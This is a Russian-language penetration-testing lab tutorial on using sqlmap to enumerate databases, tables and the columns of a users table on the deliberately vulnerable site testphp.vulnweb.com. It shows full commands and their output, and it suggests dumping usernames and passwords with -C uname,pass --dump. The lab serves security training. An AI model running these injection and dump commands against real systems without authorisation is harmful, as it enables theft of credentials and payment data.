Введение
В этой лабораторной работе вы научитесь использовать sqlmap для перечисления имен столбцов и их типов данных из определенной таблицы в базе данных. sqlmap — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций и захвата серверов баз данных. Понимание того, как перечислять столбцы, является важным шагом в эксплуатации баз данных, поскольку это позволяет точно нацеливаться и извлекать конфиденциальную информацию. Мы сосредоточимся на использовании флага -T для указания целевой таблицы и флага --columns для вывода ее столбцов.
Выбор целевой базы данных и таблицы для перечисления
На этом этапе мы определим гипотетическую целевую базу данных и конкретную таблицу в ней, из которой мы хотим перечислить столбцы. Для целей этой лабораторной работы мы предположим, что мы уже определили уязвимый URL и базу данных с именем testdb, содержащую таблицу с именем users.
Сначала убедимся, что sqlmap доступен в вашей системе. Если нет, вы можете установить его с помощью apt.
sudo apt update
sudo apt install -y sqlmap
Теперь давайте смоделируем уязвимую цель. Для демонстрационных целей мы будем использовать фиктивный URL. В реальном сценарии это будет URL, подверженный SQL-инъекциям.
Для этой лабораторной работы мы будем использовать следующий URL-заполнитель: http://testphp.vulnweb.com/listproducts.php?cat=1. Это известная уязвимая цель, часто используемая для тестирования. Мы предположим, что мы уже определили базу данных с именем acuart и таблицу с именем users в ней. Наша цель — перечислить столбцы из таблицы users.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
Вы должны увидеть список баз данных, включая acuart. Это подтверждает, что наша цель доступна и sqlmap может с ней взаимодействовать.
...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...
Далее, давайте подтвердим таблицы в базе данных acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
Вы должны увидеть список таблиц, включая users.
...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists |
| carts |
| categories |
| guestbook |
| pictures |
| products |
| users |
| ... |
+------------+
...
Это подтверждает, что база данных acuart и таблица users существуют на нашей цели.
Использование флага -T для указания таблицы
На этом этапе мы научимся использовать флаг -T в sqlmap для указания целевой таблицы, из которой мы хотим перечислить столбцы. Флаг -T используется совместно с флагом -D (для базы данных), чтобы сузить область нашего перечисления.
Базовый синтаксис для указания таблицы:
sqlmap -u <целевой_url> -D <имя_базы_данных> -T <имя_таблицы> [другие_опции]
Продолжая с предыдущего шага, мы определили базу данных acuart и таблицу users. Теперь мы подготовим команду sqlmap для нацеливания на эту конкретную таблицу. Мы еще не будем выполнять полное перечисление, а скорее построим команду.
Откройте терминал в директории ~/project.
echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt
Эта команда сохраняет начальную часть нашей команды sqlmap в файл с именем command_part1.txt, а затем отображает его содержимое. Это помогает строить сложные команды шаг за шагом.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users
Используя -D acuart -T users, мы говорим sqlmap сосредоточить свои операции конкретно на таблице users в базе данных acuart. Это крайне важно для эффективного и целенаправленного перечисления.
Использование флага --columns для вывода списка столбцов
На этом этапе мы представим флаг --columns, который используется для указания sqlmap перечислить имена столбцов и их типы данных в указанной таблице. Этот флаг необходим для понимания структуры таблицы и выявления потенциально интересных столбцов для извлечения данных.
Флаг --columns добавляется к команде, которую мы начали строить на предыдущем шаге.
Полный синтаксис будет следующим:
sqlmap -u <целевой_url> -D <имя_базы_данных> -T <имя_таблицы> --columns
Давайте добавим флаг --columns к нашей команде.
echo ' --columns' >> command_part1.txt
cat command_part1.txt
Теперь файл command_part1.txt должен содержать полную команду sqlmap для перечисления столбцов из таблицы users.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns
Флаг --columns указывает sqlmap выполнить определенный тип перечисления: вывод всех доступных столбцов в целевой таблице. Это мощная функция, которая помогает в построении схемы базы данных.
Выполнение команды для перечисления столбцов
На этом этапе мы выполним полную команду sqlmap, которую мы составили на предыдущих шагах. Эта команда предпишет sqlmap подключиться к целевому URL, идентифицировать базу данных acuart, нацелиться на таблицу users, а затем перечислить все столбцы в этой таблице.
Убедитесь, что вы находитесь в директории ~/project.
bash command_part1.txt
После выполнения sqlmap начнет свой процесс. В ходе процесса он может задать вам несколько вопросов, например, следует ли использовать определенный полезный груз (payload) или продолжить с параметрами по умолчанию. Для этой лаборатории вы обычно можете нажать Enter, чтобы принять выбор по умолчанию, или y (да), если будет предложено.
...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
...
Вывод отобразит таблицу со списком имен столбцов и их соответствующих типов данных, найденных в таблице users. Это основная цель данной лаборатории.
Обзор имен столбцов и их типов данных
На этом заключительном этапе мы рассмотрим вывод команды sqlmap, выполненной на предыдущем шаге. Понимание перечисленных имен столбцов и их типов данных имеет решающее значение для дальнейшей эксплуатации или анализа.
Посмотрите на вывод предыдущей команды. Вы должны увидеть таблицу, похожую на эту:
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| email | varchar(50) |
| uname | varchar(20) |
| pass | varchar(20) |
| cc | varchar(20) |
| address | varchar(50) |
| name | varchar(50) |
| phone | varchar(20) |
+----------+-----------+
Из этого вывода мы можем выделить несколько важных столбцов:
email: Вероятно, хранит адреса электронной почты пользователей.uname: Вероятно, хранит имена пользователей.pass: Вероятно, хранит пароли пользователей (или хэши паролей).cc: Потенциально хранит информацию о кредитных картах.address: Хранит адреса пользователей.name: Хранит полные имена пользователей.phone: Хранит номера телефонов пользователей.
Столбец Type указывает тип данных каждого столбца (например, varchar(50) означает строку переменной длины до 50 символов). Эта информация жизненно важна для составления последующих команд sqlmap, таких как выгрузка данных из определенных столбцов с использованием флага -C. Например, для выгрузки имен пользователей и паролей вы бы использовали -C uname,pass --dump.
Этот шаг завершает процесс перечисления столбцов из конкретной таблицы с использованием sqlmap. Теперь у вас есть четкое представление о том, как нацеливаться на конкретные таблицы и получать их структуру столбцов.
Резюме
В этой лаборатории вы успешно научились перечислять столбцы из конкретной таблицы с помощью sqlmap. Вы начали с определения целевой базы данных и таблицы, затем последовательно составили команду sqlmap, используя флаги -D (database), -T (table) и --columns. Наконец, вы выполнили команду и просмотрели вывод, поняв значение перечисленных имен столбцов и их типов данных. Этот навык является фундаментальным для всех, кто проводит тестирование на проникновение в базы данных или оценку безопасности, поскольку он предоставляет необходимую информацию для эффективного извлечения конфиденциальных данных.


